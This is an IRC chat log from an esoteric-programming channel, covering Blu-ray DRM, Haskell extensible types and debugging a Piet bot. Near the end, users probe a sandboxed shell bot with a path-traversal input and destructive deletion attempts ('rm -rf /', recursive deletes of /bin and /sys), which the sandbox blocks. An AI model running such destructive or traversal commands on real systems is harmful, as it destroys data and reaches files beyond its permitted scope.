00:53:46 <zzo38> I have written a D&D 3.5e campaign setting with various changes, including different planes, a few different rules, and it too lacks alignment bias.
01:08:37 <pikhq> itidus22: Actually, more like starting a war to win the Nobel War Prize.
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01:29:07 <zzo38> I have read that Blu-Ray movies often include video files which are partially corrupted and a BD+ code to decrypt them? I never intend to buy a Blu-Ray player or any Blu-Ray disc, but I do have another question. Is there anywhere someone can download a file which is the XOR mask of the corrupted file and the correct data?
01:29:48 <pikhq> I don't think there is such a service. However, I do believe the BD+ VM is somewhat reverse-engineered.
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01:31:58 <zzo38> Yes I know it is somewhat reverse-engineered. But BD+, as well as the large number of other complicated features of Blu-Ray, do various things, including Java and many other things designed in completely crazy ways. They still keep changing the programs and the player itself (BD+ has the ability to run native code) which makes it difficult.
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01:33:36 <pikhq> The entire spec is utterly insane.
01:33:37 <pikhq> Not just the DRM bits.
01:33:37 <zzo38> Has anyone been able to write their own BD+ codes that will run native codes on a Blu-Ray player? Perhaps someone make a disc that replaces the entire player with an open-source one and then disables ability of BD+ to run native codes.......
01:33:54 <zzo38> pikhq: Yes, I know. It is not only the DRM that is insane it is everything.
01:34:19 <pikhq> The good thing is, you get high quality video on it. The bad thing is, holy *crap* they overkilled everything.
01:34:33 <pikhq> 40 *megabits* per second h.264?
01:35:03 <zzo38> One thing it says is that replicated (although not recorded) discs are *required* to include DRM software on them even if you are not going to use them, and therefore you must pay a license fee to include such softwares even if they will never be used.
01:35:05 <pikhq> That's a good 10 times higher than would be necessary.
01:35:35 <pikhq> Also, zzo38: though Bluray discs are required to include DRM, in practice all Bluray players will play discs without DRM.
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01:36:46 <pikhq> Also, most Bluray players will accept AVCHD (which is a format based on Bluray, with a lot of crap removed.)
01:36:50 <zzo38> pikhq: They probably will, but still, it means someone who wants to make a disc without DRM needs to make a recorded disc rather than a replicated disc, and recorded discs do not last as long
01:37:19 <pikhq> (AVCHD, incidentally, has no DRM in the spec.)
01:37:41 <zzo38> But does it have patent restrictions?
01:37:50 <pikhq> It uses h.264, so yes.
01:38:17 <pikhq> I don't think it has patent restrictions *beyond* h.264 and AC-3, though.
01:38:38 <pikhq> And AC-3 should be out of patent in a year or so.
01:40:24 <zzo38> But, still. Well, there is HD-DVD, which is not used much but lacks replication restrictions. Apparently Chinese Blu-Ray is not actually Blu-Ray but uses HD-DVD as its physical media format.
01:41:06 <pikhq> "Chinese Blu-Ray"?
01:43:05 <zzo38> Still there are various other formats, such as Lib-Ray. I don't really like Lib-Ray much either. I did try making up my own format, which uses Ogg-based formats for most things, and uses a relatively simple virtual machine (it only has a few instructions and a few registers, and the specification requires that the player allows the user to disable it). No physical media is specified.
01:44:02 <pikhq> I'd say the sanest format anymore would be just WebM with a few extra features.
01:44:19 <pikhq> (sure, h.264 is *better*, but if patents are among your considerations, VP8 is your best choice of codec.)
01:46:04 <pikhq> Theora is terribad.
01:47:51 <zzo38> Theora has been improving over time, and there is Dirac as well.
01:48:51 <zzo38> But it is still possible to have a few video and audio formats to choose from, I suppose.
01:54:33 <pikhq> Theora's still quite bad; the bitstream limits it to being, at best, about as good as MPEG-4.
01:54:52 <pikhq> Though, yes, it's at least stopped being a laughable example of that class of codecs.
01:56:43 <Sgeo> kallisti_, was an update a bit ago
02:08:30 <zzo38> I found some Haskell package for dependent sum, and are there any more complicated examples than the one they give, possibly including ones with datatype families?
02:12:52 <zzo38> Or with more complicated GADTs?
02:15:35 <zzo38> It is defined as data DSum tag = forall a. !(tag a) :=> a
02:16:24 <zzo38> So in addition to the Tag GADT example, the tag could be any functor or contravariant functor or whatever else of kind (* -> *) that fits.
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02:51:28 <itidus22> pikhq: you make it sound almost like payment for use of blu ray is done more to have a codec chosen than to have a good codec chosen
02:52:36 <itidus22> kind of like paying to have images stored in .bmp when it would be possible to store them in .png
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03:09:31 <zzo38> There is dependent sum type but another idea would be to have a constrainted dependent sum type: data CDSum con tag = forall a. con a => !(tag a) :+> a;
03:10:20 <zzo38> I don't know if it is useful because there might be other ways to do it.
03:11:46 <oerjan> zzo38: hm if you are using constraint kinds, wouldn't data CDSum con = forall a. con a => CDSum a work more simply?
03:12:43 <oerjan> i'd imagine the whole ! and :+> business might be for managing it without constraint kinds
03:12:54 <zzo38> oerjan: I suppose it can but there is no tag
03:15:56 <zzo38> Even in the (non-constrained) DSum, the tag does not necessarily have to be a GADT listing the possible types; it can also be a functor, a contrafunctor, or a datatype family. Although I suppose it could also be a GADT where its constructors have constraints.
03:17:54 <pikhq> itidus22: That is actually a significant factor.
03:18:42 <pikhq> itidus22: The committee members have chosen codecs that they own patents on.
03:18:59 <pikhq> itidus22: Though, h.264 is *also* the highest quality video encoding standard in existence right now.
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03:34:15 <oerjan> gah, deep top posting threads, my ocpd and my rsi don't go well together :(
03:35:02 <oerjan> (i keep pressing pgdn through it all just to check that there's no internal response breaks)
03:37:35 <zzo38> Feature suggestion idea for PuTTY or other terminal emulators, would be: If SCROLL LOCK is activated, then do two things: * It stops automatically setting the scroll position, so it can only be manually scrolled. * Now the up/down/pageup/pagedown/home/end keys to scroll the window instead of send to the program it is connected to
03:39:02 <zzo38> Would this be a useful feature to you?
03:39:11 <zzo38> I know, to me, it would be useful.
03:39:28 <oerjan> zzo38: btw you can scroll the window by holding down shift while using pgup pgdn
03:40:35 <zzo38> oerjan: O, yes, now I realized that works. But it still doesn't home/end/up/down keys, and has no quick way to disable automatic scrolling (you can change the option, but that is not the quick way)
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03:50:29 <zzo38> What should I write under the Description field of my Hampp package? I am not very good to know what to write there
03:51:07 <zzo38> They didn't want changelogs, todo, features, so I commented those out but kept them in the .cabal file so that they can still be viewed without downloading the entire package
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04:37:45 <zzo38> I am trying to make a Haskell program for extensible product type, using type families, so that you can add additional fields. But I cannot seem to make a function to update a value of a field.
04:40:46 <zzo38> It looks like it could be done if the DefaultInstances extension I proposed was implemented.
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05:30:32 <zzo38> OK, I managed to do it, but it required unsafeCoerce to make it work.
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05:44:06 <zzo38> This is the code I used, is it good?
05:44:13 <zzo38> bool :: x -> x -> Bool -> x; bool x _ False = x; bool _ x True = x;
05:44:19 <zzo38> typedEq :: (Typeable x, Eq x, Typeable y, Eq y) => x -> y -> Bool; typedEq x y = typeOf x == typeOf y && unsafeCoerce x == y;
05:44:30 <zzo38> newtype ExtProd p = ExtProd { getExtProd :: forall a. ExtProdC p a => a -> ExtProdF a };
05:44:55 <zzo38> class (Eq a, Typeable a) => ExtProdC p a | a -> p where { type ExtProdF a :: *; defaultValue :: a -> ExtProdF a; putExtProd :: a -> ExtProdF a -> ExtProd p -> ExtProd p; putExtProd f v (ExtProd r) = ExtProd $ \x -> bool (r x) (unsafeCoerce v) (typedEq f x); };
05:45:26 <zzo38> It seems to work OK.
05:51:32 <zzo38> But I don't know how many memory leaks it will cause.
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05:57:35 <zzo38> Maybe a newtype wrapper around (Map TypeRep Any) is another way? But my computer doesn't have a Ord instance for TypeRep?
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08:37:03 <zzo38> Does people in this channel know answer to my questions related to Haskell even though people in other channel don't know?
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15:57:05 <tzxn3> Something really needs to be done about the spambots
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16:40:07 <Gregor> Fastest ... bot ... ever.
16:40:15 <HackEgo> Phantom_Hoover is a true Scotsman and hatheist.
16:40:51 <Gregor> BEST IOCCC WINNER IN THIS CHANNEL
16:41:00 <Gregor> Oh looka how I turned that around.
16:41:49 <Gregor> Glad to fulfill your tragically flawed definition of "celebrity"
16:42:38 <Phantom_Hoover> The other one is a girl who was in a picture that ended up on the front page of /r/funny. I was exceptionally upset.
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17:13:37 <oklopol> Phantom__Hoover: don't forget ais523's game changer.
17:28:56 <Taneb> I'm the most unintentionally funny Northumbrian former member of Youth Parliament
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17:39:41 <zzo38> What are tyou trying to calculate?
17:39:59 <Taneb> How many years until the IWC rerun gets to the boring but
17:40:14 <Taneb> Also, now I need to go for dinner
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17:58:30 <zzo38> Written here, I have, RIAA sues an attorney for successfully defending a woman they sued.
18:06:23 -!- Taneb has joined.
18:07:36 <Taneb> <zzo38> Written here, I have, RIAA sues an attorney for successfully defending a woman they sued. <--- what!?
18:08:20 <zzo38> I know that doesn't make sense
18:10:05 <Taneb> I was referring to the subject of the post, rather than its grammar
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18:27:50 <zzo38> quintopia: I have no link, I just found it in the FORTUNE file printout
18:38:05 <Gregor> http://www.wired.com/threatlevel/2008/09/riaa-decries-at/
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19:00:35 <Gregor> `@ vrais_bako ? welcome
19:00:39 <HackEgo> vrais_bako: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
19:01:34 <Gregor> (Unless you're a longtime idler whose name I don't recognize X-D )
19:14:21 <fizzie> What, you actually recognize all the other 56 names here?
19:14:58 <fizzie> I couldn't recall half of them. For example this "Gregor" guy, don't recall seeing that sort of name ever. What a silly name. Greeee-gor.
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19:16:59 <Flim> fizzie: That's why you have to be optimistic. Over-welcoming is better than under-welcoming.
19:17:09 <Flim> PS I had to /nickserv ghost Flim X-D
19:17:16 <Flim> So, apologies to whoever was on as MY ponynick.
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19:24:22 <Taneb> Still exactly the same!
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19:27:51 <Taneb> Haven't worked out the problem yet..
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19:31:48 <Taneb> And because the code to identify the nick is working, I don't want to share the source
19:35:31 <ais523> Taneb: I was going to say "just redact the password", but I guess that's nontrivial in Piet
19:35:31 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
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19:44:11 <Flim> ........................
19:44:44 <Flim> Damn it, Flim is seriously worst pony.
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20:10:23 <Taneb> Chef isn't very good for writing IRC bots
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20:28:44 <Taneb> Taneb's rating for the usefulness of esolangs:
20:29:03 <Taneb> It must have the ability to input and output characters interactively
20:29:39 <Taneb> Some other stuff, too
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20:39:46 <oerjan> <zzo38> Does people in this channel know answer to my questions related to Haskell even though people in other channel don't know? <-- sadly i think elliott was the one who knew the corners of haskell best
20:40:18 <Taneb> > const 'x' (const 'x')
20:40:25 <oerjan> i know basic haskell and have a vague idea of many extensions, but i've never experimented much with them in practice
20:40:26 <Taneb> > join id (const 'x')
20:40:27 <lambdabot> Occurs check: cannot construct the infinite type: m = (->) (m a)
20:40:40 <Taneb> > ap id id (const 'x')
20:40:41 <lambdabot> Occurs check: cannot construct the infinite type: a = a -> b
20:41:03 <oerjan> join id doesn't type, because id id needs the two id's to have different types
20:41:16 <zzo38> oerjan: I had many questions involving extensible product types too
20:41:30 <oerjan> actually, s/id/x/ in all but the first one
20:42:21 <Taneb> This is the only part of Haskell preventing MIBBLLII from compiling into it
20:42:32 <zzo38> I made one but it might be inefficient. I entered let z = iterate (putExtProd Field3 "Who?") x !! 1000000 and then getExtProd z Field3 was slightly slow the first time and then faster, but then I typed getExtProd z Field1 and it just seem to run forever and never stop.
20:42:48 <ais523> Taneb: there's a trick with recursive types to get things that are effectively infinite types
20:44:03 <oerjan> Taneb: newtype SelfApply b = SelfApply (SelfApply b -> b)
20:44:05 <ais523> Taneb: I can't remember what it is
20:44:11 <ais523> but I was hoping someone else would fill it in
20:44:31 <Taneb> Thing is, I want to be able to say:
20:44:32 <zzo38> I did think of other ways including hash tables but that requires IO
20:44:54 <oerjan> or possibly newtype SelfApply = SelfApply (SelfApply -> SelfApply)
20:44:56 <Taneb> > join fmap (+1) 0
20:45:11 <Taneb> > join fmap . join fmap $ (+1) 0
20:45:12 <lambdabot> Overlapping instances for GHC.Show.Show (a -> a)
20:45:22 <Taneb> > (join fmap . join fmap) (+1) 0
20:45:55 <oerjan> Taneb: sadly whenever you want a function type to be able to use itself as argument or result, you need a newtype or data wrapper
20:46:04 <Taneb> > (join (flip id) (join fmap)) (+1) 0
20:46:06 <lambdabot> Occurs check: cannot construct the infinite type:
20:46:22 <lambdabot> Occurs check: cannot construct the infinite type: a = a -> a1
20:46:22 <lambdabot> Expected type: (a -> a1) -> (a -> a1) -> a1
20:46:22 <lambdabot> Inferred type: a -> (a -> a1) -> a1
20:46:36 <Taneb> > flip id (join fmap) (join fmap)) (+1) 0
20:46:37 <lambdabot> <no location info>: parse error on input `)'
20:46:46 <Taneb> > (flip id (join fmap) (join fmap)) (+1) 0
20:47:01 <Taneb> > (flip id (join fmap) (ap fmap (join fmap))) (+1) 0
20:47:12 <Taneb> > (flip id (ap fmap (join fmap)) (ap fmap (join fmap))) (+1) 0
20:47:28 <Taneb> > (flip id (ap fmap (join fmap)) (ap fmap (ap fmap (join fmap)))) (+1) 0
20:48:03 <Taneb> > (flip id (ap fmap (join fmap)) (ap fmap (ap fmap (join fmap)))) succ (fromEnum False)
20:49:24 <Taneb> > (flip id (ap fmap (ap fmap (join fmap))) (ap fmap (ap fmap (join fmap)))) (+1) 0
20:50:31 <oerjan> zzo38: i read (but don't post) at the haskell-cafe mailing list, you might have better luck with such questions there; also stackexchange/stackoverflow are places to ask questions (and elliott is there a lot still, too)
20:50:47 <oerjan> i'm not quite clear on the difference between them, though
20:52:56 <fizzie> Stack Exchange is the overarching metasite for Stack Overflow, Super User, Server Fault, and 79 other such sites.
20:53:00 <oerjan> i think on stackexchange/stackoverflow one is supposed to check if someone has asked similar questions before.
20:53:49 <oerjan> fizzie: oh, my impression was stackexchange was the more introduction level part, while stackoverflow is for research level stuff
20:53:58 <Taneb> How do functional languages other than Haskell and Lazy K do IO?
20:54:11 <oerjan> or maybe it's just the math part that works that way
20:54:14 <fizzie> "Stack Exchange is a fast-growing network of 82 question and answer sites -- In 2008, Jeff Atwood and Joel Spolsky created a site called Stack Overflow and brought together millions of computer programmers from around the world to help each other with detailed technical questions. That site was a phenomenal success, so, after securing a $6 million investment from Union Square Ventures, they created the Stack Exchange Network and started launching ...
20:54:20 <fizzie> ... new sites in August of 2010."
20:54:35 <zzo38> In case you could do something with it, this is it: http://sprunge.us/HBYJ Would you know how to make it efficient?
20:55:25 <oerjan> Taneb: well Clean uses uniqueness types and passing an explicit real world token. impure functional languages just do it with imperative functions.
20:56:11 <oerjan> Mercury (combined pure functional/logical) also uses a real world token, iirc
20:57:37 <oerjan> Mercury also uses a Prolog convention for passing them implicitly, which seems a little like a State monad but i'm not sure if it is (Mercury being based on relations, not functions, so the basic category for the monads would be different)
20:58:53 <oerjan> Taneb: definite clause grammars, the convention is called, and i think it was invented for parsing, as the name suggests
20:59:08 <oerjan> but it also works to do Mercury's IO
20:59:16 <zzo38> oerjan: Do you know if there is some ways to do what I am trying to do?
21:00:01 <oerjan> zzo38: i half-expect that if it is possible, oleg kiselyov must have done it :P
21:00:10 <Taneb> This gives me an idea for an esolang
21:00:18 <Taneb> An imperative language with functional IO
21:00:29 <zzo38> oerjan: Who are they and where is the such file?
21:01:03 <zzo38> Can you understand from the file I have pasted?
21:01:03 <oerjan> his site is http://okmij.org/ftp/
21:02:39 <oerjan> zzo38: among other things, he invented iteratees
21:02:49 <ais523> Taneb: using each paradigm for something it's bad at?
21:08:01 <oerjan> zzo38: http://okmij.org/ftp/Haskell/generics.html#PolyVariant seems sort of dual, being about extensible coproducts
21:08:42 <zzo38> I could probably to extensible sums easier and more efficient way I think I have ideas about it
21:08:58 <zzo38> But I am trying extensible products at this time
21:09:44 <Taneb> Right, the thing about imperative IO is that IO can be anywhere
21:10:12 <Taneb> Whereas in functional programming languages, IO has to be in a certain place or god knows what'll happen
21:11:48 <Taneb> Functional program languages' functions are the main kaboodle
21:11:57 <Taneb> Everything is in little functions
21:12:10 <Taneb> Whereas imperative programming languages use a lot more statements
21:18:27 <oerjan> it's imperative to make a statement
21:20:30 <oerjan> <ais523> Taneb: I was going to say "just redact the password", but I guess that's nontrivial in Piet
21:21:15 <oerjan> is the piet written by hand, or autogenerated from something else?
21:21:41 <Taneb> The latter, 'm afraid
21:21:46 <oerjan> if by hand, maybe it would be possible to put the password in some recognizable region
21:22:04 * oerjan doesn't actually know how piet works
21:24:47 <zzo38> oerjan: I look at that file; that is not quite right at all; you have to tell the previous label to make up a new one, and you have to explicitly define the extensions of existing functions, and so on. I did think of other way of extensible sums, in a way related to dependent sums and to type families.
21:25:04 <zzo38> And anyways, that is only extensible sums, not extensible products.
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21:30:44 <Taneb> http://sprunge.us/WMEO
21:30:53 <Taneb> That's the piet assembler source
21:32:11 <Taneb> With the password cunningly hidden
21:35:37 <Taneb> http://www.toothycat.net/wiki/wiki.pl?MoonShadow/Piet
21:35:46 <Taneb> There's the documentation for the piet assembler
21:37:00 <zzo38> I did think of a kind of extensible product types with (Map TypeRep) but the Data.Typeable differs with old version and with new version, so it won't work
21:39:44 <Taneb> Anyone gonna take a look/
21:39:47 <Taneb> Anyone gonna take a look?
21:40:14 <Taneb> I'm converting from pnm to ppm using Gimp, then running with npiet
21:43:45 <HackEgo> Taneb is not actually Ngevd, no matter what you may have heard.
21:45:02 <HackEgo> @+挞j.k%BZ..j'!g(D(N.nFთ.2s.J}>G..YgLag)T+.o..D.'v- \ .m8=@+8w7RqvI9,EkOi..jrt19.K-.bT.R_.E.`..:..O
21:47:41 <HackEgo> The friendship monqy is an ancient Chinese mystery; ask itidus21 for details.
21:47:52 <HackEgo> itidus21 just made some instant coffee.
21:49:01 <Taneb> `learn Coffee is a strange hot brown liquid, often consumed, sometimes with milk and sugar. It contains chemicals considered stimulants.
21:49:12 <HackEgo> Coffee is a strange hot brown liquid, often consumed, sometimes with milk and sugar. It contains chemicals considered stimulants.
21:49:29 <Taneb> Oh, I'm not as funny delibrately as I can be accidentally
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22:03:34 <Gregor> `? ../../../../../../../bin/bash
22:10:59 <Gregor> It appens it to the existing path.
22:11:09 <Gregor> So that's ....../wisdom//bin/bash
22:14:18 -!- calamari has joined.
22:16:14 <HackEgo> bin \ canary \ karma \ lib \ main \ paste \ quotes \ share \ wisdom
22:16:43 <HackEgo> ls: cannot access /wisdom: No such file or directory
22:16:51 <HackEgo> ? \ ais523 \ augur \ banach-tarski \ c \ cakeprophet \ category \ coffee \ comonad \ coppro \ egobot \ elliott \ endofunctor \ esoteric \ everyone \ finland \ finns \ fizzie \ flower \ friendship \ functor \ fungot \ glogbot \ gregor \ hackego \ haskell \ ievan \ intercal \ itidus20 \ itidus21 \ kallisti \ lens \ lifthrasiir \ mad \ misspellings of croissant \ monad \ monads \ monoid \ monqy \ ngevd \ nooga \ oerjan
22:17:08 <HackEgo> A lens is a monoidal natural transformation between higher-order coalgebra functors
22:17:15 <HackEgo> Coffee is a strange hot brown liquid, often consumed, sometimes with milk and sugar. It contains chemicals considered stimulants.
22:17:21 <HackEgo> C is the language of��V�>WIד�.��Segmentation fault
22:17:28 <HackEgo> glogbot is a snitch, don't trust it.
22:17:42 <HackEgo> Functors are just morphisms in the category of small categories
22:17:57 <Gregor> "in the category of small categories" lol
22:17:59 <HackEgo> Finns are helpful, albeit grossly overpopulated (cf. 'Finland').
22:18:09 <HackEgo> Finland is a European country. There are two people in Finland, and at least five of them are in this channel. Corun drives the bus.
22:18:13 <HackEgo> Functors are just morphisms in the category of small categories
22:18:29 <HackEgo> "But I don't want to go among mad people," Alice remarked. "Oh, you can't help that," said the Cat: "we're all mad here. I'm mad. You're mad." "How do you know I'm mad?" said Alice. "You must be," said the Cat, "or you wouldn't have come here."
22:18:42 <Taneb> `? misspellings of croissant
22:18:45 <HackEgo> misspellings of crosant? ¯\(°_o)/¯
22:18:58 <HackEgo> Your evil overlord oerjan is a lazy expert in future computation.
22:19:13 <HackEgo> Categories are just categories.
22:19:25 <HackEgo> ievan is basically http://www.youtube.com/watch?v=4om1rQKPijI
22:19:26 <oerjan> hm someone from the future must have changed that.
22:21:06 <kallisti> oerjan: yes I am a firm believer in the existence of evidence of the future.
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22:21:57 <kallisti> otherwise I would have to become a future agnostic.
22:22:33 <HackEgo> bin \ canary \ karma \ lib \ main \ paste \ quotes \ share \ wisdom
22:22:50 <HackEgo> rm: missing operand \ Try `rm --help' for more information.
22:22:52 <kallisti> I suppose I could find inductive evidence of the future
22:22:58 <kallisti> based on the occurence of the future in the past.
22:23:39 <HackEgo> abc \ bin \ canary \ karma \ lib \ main \ paste \ quotes \ share \ wisdom
22:23:57 <Gregor> (It does respond to PM ... )
22:24:03 <HackEgo> ls: cannot access .*: No such file or directory
22:24:20 <calamari> so I'm guessing I wouldn't want to do rm -rf /
22:24:21 <kallisti> calamari just send plenty of PRIVMSGs
22:24:23 <oerjan> kallisti: ah but "I would have to become" assumes the future exists, you see!
22:24:39 <HackEgo> rm: it is dangerous to operate recursively on `/' \ rm: use --no-preserve-root to override this failsafe
22:24:47 <HackEgo> rm: cannot remove `/bin/bash': Read-only file system \ rm: cannot remove `/bin/rbash': Read-only file system \ rm: cannot remove `/bin/sh': Read-only file system \ rm: cannot remove `/bin/ln': Read-only file system \ rm: cannot remove `/bin/uname': Read-only file system \ rm: cannot remove `/bin/stty': Read-only file system \ rm: cannot remove `/bin/cat': Read-only file system \ rm: cannot remove `/bin/touch': Read-only
22:25:07 <HackEgo> bin \ canary \ karma \ lib \ main \ paste \ quotes \ share \ wisdom
22:25:42 <HackEgo> find: cannot delete `/sys/fs': Permission denied \ find: cannot delete `/sys/devices/platform/uevent': Permission denied \ find: cannot delete `/sys/devices/platform/alarmtimer/uevent': Permission denied \ find: cannot delete `/sys/devices/platform/alarmtimer/modalias': Permission denied \ find: cannot delete `/sys/devices/platform/alarmtimer/subsystem': Permission denied \ find: cannot delete `/sys/devices/platform/alarmtimer/driver':
22:25:52 <HackEgo> bin \ canary \ karma \ lib \ main \ paste \ quotes \ share \ wisdom
22:26:40 <calamari> whatever it was.. it's gone now
22:27:03 <zzo38> I know of indexed monads and indexed comonads; are categories like indexed monoids?
22:27:24 <oerjan> zzo38: sounds about right
22:27:33 <calamari> Gregor: congrats on your ioccc win.. do you have the source posted somewhere?
22:27:42 <Gregor> calamari: They've requested we don't post it 'til they do.
22:28:00 <calamari> ah ok.. I cliked their link and it was showing things from 2006
22:28:10 <calamari> so I thought well maybe they are never going to post it lol
22:28:21 <Gregor> This is the first one they've ran since 2006.
22:31:30 <calamari> of course being the ioccc, seeing your source won't help me understand what your program does lol
22:32:15 <kallisti> it's a matter of how much effort you want to spend.
22:33:08 <oerjan> > map chr [80,82,73,86,77,83,71,32,35,101,115,111,116,101,114,105,99,32,58,41]
22:34:20 <Taneb> The Pietbot signal char
22:35:11 <zzo38> Did the GHC Any type used to be by itself but now has a kind parameter?
22:35:19 <Taneb> Like fungot's ^ or hackego's ` or egobot's !
22:35:19 <fungot> Taneb: s/ or/ 1??? fnord ( car x) ( lambda ( x)
22:35:26 <oerjan> Taneb: and does it get to the point of recognizing the ) ?
22:36:04 -!- ais523 has quit (Remote host closed the connection).
22:36:31 <oerjan> you might want to check
22:36:59 -!- sebbu has quit (Read error: Connection reset by peer).
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22:38:37 <Taneb> Impatience will be my undoing
22:38:41 -!- Pietbot has joined.
22:39:01 <Taneb> I'll leave it for a minute
22:40:27 -!- sebbu has joined.
22:41:36 <Taneb> Seems like nothing
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22:43:42 <oerjan> Taneb: hm i don't think this is right:
22:43:51 <oerjan> 113 sub bz._track_2 #q for quit
22:44:10 <oerjan> it seems to me like the final pop will underflow the stack
22:44:34 <Taneb> I think you may be right
22:46:30 -!- Pietbot has joined.
22:46:38 <oerjan> pop in 102 sub bz._track_1
22:46:38 <oerjan> 113 sub bz._track_2 #q for quit
22:47:03 <Taneb> Yes, there should be a dup there?
22:47:10 <oerjan> that is, notdeadfish: might be entered with either something on the stack or not
22:47:42 <calamari> anyone know of a way to read the existing characters off a pseudoterminal?
22:48:20 -!- Pietbot has quit (Remote host closed the connection).
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22:49:54 <Taneb> My debugging line isn't working
22:50:16 <oerjan> there's always a chance the assembler is faulty
22:50:17 <Taneb> Because # comments lines out
22:50:22 -!- Pietbot has quit (Remote host closed the connection).
22:50:24 <oerjan> or for that matter, the piet interpreter
22:51:06 -!- Pietbot has joined.
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22:52:15 <oerjan> note if you added that dup, you now might want a pop at the beginning of track 1, i think. although that should just be garbage, not fatal.
22:53:03 <oerjan> also, even then )dq will be an alternative quit command
22:53:23 <Taneb> It's not getting past the "PRIVMSG #esoteric :)" bit
22:54:54 <oerjan> it's not a privmsg anyhow
22:56:15 -!- Pietbot has joined.
22:56:15 -!- Pietbot has quit (Client Quit).
22:56:25 <Taneb> Okay, the @"\n" is getting run
22:58:05 -!- Pietbot has joined.
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22:58:46 <Taneb> I wish the assembler would treat "#" as a character, not a comment marker
22:59:30 -!- Pietbot has joined.
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22:59:59 <Taneb> I was just seeing if I was getting the saying things right
23:02:07 <oerjan> might want to check if it gets any characters read at all
23:02:16 <zzo38> Is there a package with a more portable unsafeCoerce and Any?
23:02:40 <Taneb> The P is being read
23:03:19 <Taneb> Ooh, the R is as well
23:04:12 <Taneb> Npiet is being all clever
23:04:19 <Taneb> I need a different interpreter
23:04:34 <Taneb> It's prompting a ? for input
23:04:50 <oerjan> for _character_ input?
23:05:10 <Taneb> I may be wrong, but that's what it looks like
23:05:30 <oerjan> there isn't an option to turn it off?
23:07:39 <HackEgo> ls: cannot access /usr/bin/a*: No such file or directory
23:07:47 <HackEgo> /usr/bin/a2p \ /usr/bin/addpart \ /usr/bin/addr2line \ /usr/bin/aot-compile \ /usr/bin/appletviewer \ /usr/bin/apropos \ /usr/bin/apt \ /usr/bin/apt-cache \ /usr/bin/apt-cdrom \ /usr/bin/apt-config \ /usr/bin/apt-extracttemplates \ /usr/bin/apt-ftparchive \ /usr/bin/apt-get \ /usr/bin/apt-key \ /usr/bin/apt-mark \ /usr/bin/apt-sortpkgs \ /usr/bin/aptitude \ /usr/bin/aptitude-create-state-bundle \ /usr/bin/aptitude-curses
23:08:08 <oerjan> or at least, should be
23:08:12 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
23:08:26 <oerjan> yep, that counts as documented.
23:08:55 <oerjan> evil, despicable documentation, but still.
23:09:39 <HackEgo> W: Unable to read /etc/apt/apt.conf.d/ - DirectoryExists (2: No such file or directory) \ (__) \ (oo) \ /------\/ \ / | || \ * /\---/\ \ ~~ ~~ \ ...."Have you mooed today?"...
23:09:54 <Gregor> ASCII art is definitely better compressed into one line.
23:10:51 <HackEgo> There are no Easter Eggs in this program.
23:11:19 <ion> `run ping 8.8.8.8
23:12:02 <HackEgo> bash: shutdown: command not found
23:12:11 <Gregor> calamari: Yeah, I usually run arbitrary commands from random people as root.
23:12:38 <calamari> but it was in a VM where I could reimage
23:13:21 <Taneb> map ord "PRIVMSG #esoteric :)"
23:13:23 <Taneb> > map ord "PRIVMSG #esoteric :)"
23:13:24 <lambdabot> [80,82,73,86,77,83,71,32,35,101,115,111,116,101,114,105,99,32,58,41]
23:13:26 <oerjan> Taneb: i already checked those :P
23:14:40 <HackEgo> Linux umlbox 3.0.8-umlbox #2 Sun Nov 13 21:30:28 UTC 2011 x86_64 GNU/Linux
23:15:22 <Taneb> It's definitely getting to the first e in #esoteric
23:15:36 <calamari> lol.. more up to date than my own
23:16:01 <Taneb> Ahahahahahahahahahahahahahahaha
23:16:06 <Taneb> pop in dup 99 dup bnz.start_in # c
23:16:13 <Taneb> pop in dup 99 sub bnz.start_in # c
23:18:09 * oerjan thought calamari had been here long enough to do all those things before
23:18:20 <oerjan> although maybe not since the new HackEgo
23:18:52 -!- Pietbot has joined.
23:19:02 <calamari> oerjan: maybe I have and I just forgot
23:19:17 <Taneb> I forgot to remove that debug line
23:19:24 -!- Pietbot has quit (Remote host closed the connection).
23:19:43 <oerjan> now on to bigger and fiercer bugs
23:20:06 <Gregor> This channel's parse depth is all effed up now.
23:20:29 <monqy> ) "best bot prefix"
23:21:23 -!- Deewiant has quit (Read error: Connection reset by peer).
23:21:34 -!- Deewiant has joined.
23:22:04 <lambdabot> Couldn't match expected type `GHC.Types.Int'
23:23:05 -!- Pietbot has joined.
23:23:53 <oerjan> Gregor: that was effed up last time someone suggested making a bot interpreting the channel as brainfuck, i think
23:24:28 <Taneb> Okay, the deadfish code's messed up a tad
23:24:31 -!- Pietbot has quit (Read error: Connection reset by peer).
23:27:19 <Taneb> Okay, either I've messed up or Pietbot has already achieved sentience
23:27:39 <monqy> or something else've messed up
23:27:42 <Taneb> The seppuku code isn't working
23:30:26 -!- Deewiant has quit (Ping timeout: 245 seconds).
23:32:06 <HackEgo> df: cannot read table of mounted file systems: No such file or directory
23:32:15 -!- Deewiant has joined.
23:35:26 <HackEgo> rootfs / rootfs rw 0 0 \ none /bin hostfs ro,nosuid,relatime,/bin/ 0 0 \ none /usr hostfs ro,nosuid,relatime,/usr/ 0 0 \ none /dev hostfs ro,nosuid,relatime,/dev/ 0 0 \ none /opt hostfs ro,nosuid,relatime,/opt/ 0 0 \ none /lib hostfs ro,nosuid,relatime,/lib/ 0 0 \ none /sbin hostfs ro,nosuid,relatime,/sbin/ 0 0 \ none /lib64 hostfs ro,nosuid,relatime,/lib64/ 0 0 \ none /hackenv hostfs rw,nosuid,relatime,/tmp/hackenv.0CLmULuwUT/
23:38:40 <oerjan> Taneb: um d keeps 0 at 0, not wrapping to 255
23:38:51 <oerjan> also s needs a test for 256 as well
23:39:40 <Taneb> Can I propose that http://esoteric.voxelperfect.net/w/index.php?title=DF&redirect=no redirects to deadfish rather than DateFuck?
23:41:00 <oerjan> Taneb: oh and 10 sub bz.very_start.in
23:41:06 <oerjan> shouldn't have the .in
23:41:45 <oerjan> or alternatively, that should be start_in rather than very_start
23:43:25 <oerjan> df_o should use outn rather than out, i think
23:52:12 <Taneb> http://sprunge.us/EHMH
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23:57:19 <hagb4rd> fuck,..now i completlely screwed up things.. congratulations hagb4rd
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23:58:16 <hagb4rd> isn't that all you worked for stupido? yes you're right
00:01:09 <calamari> oerjan: is there a maximum run time limit for hackego?
00:01:41 <Gregor> You realize it's my code, right
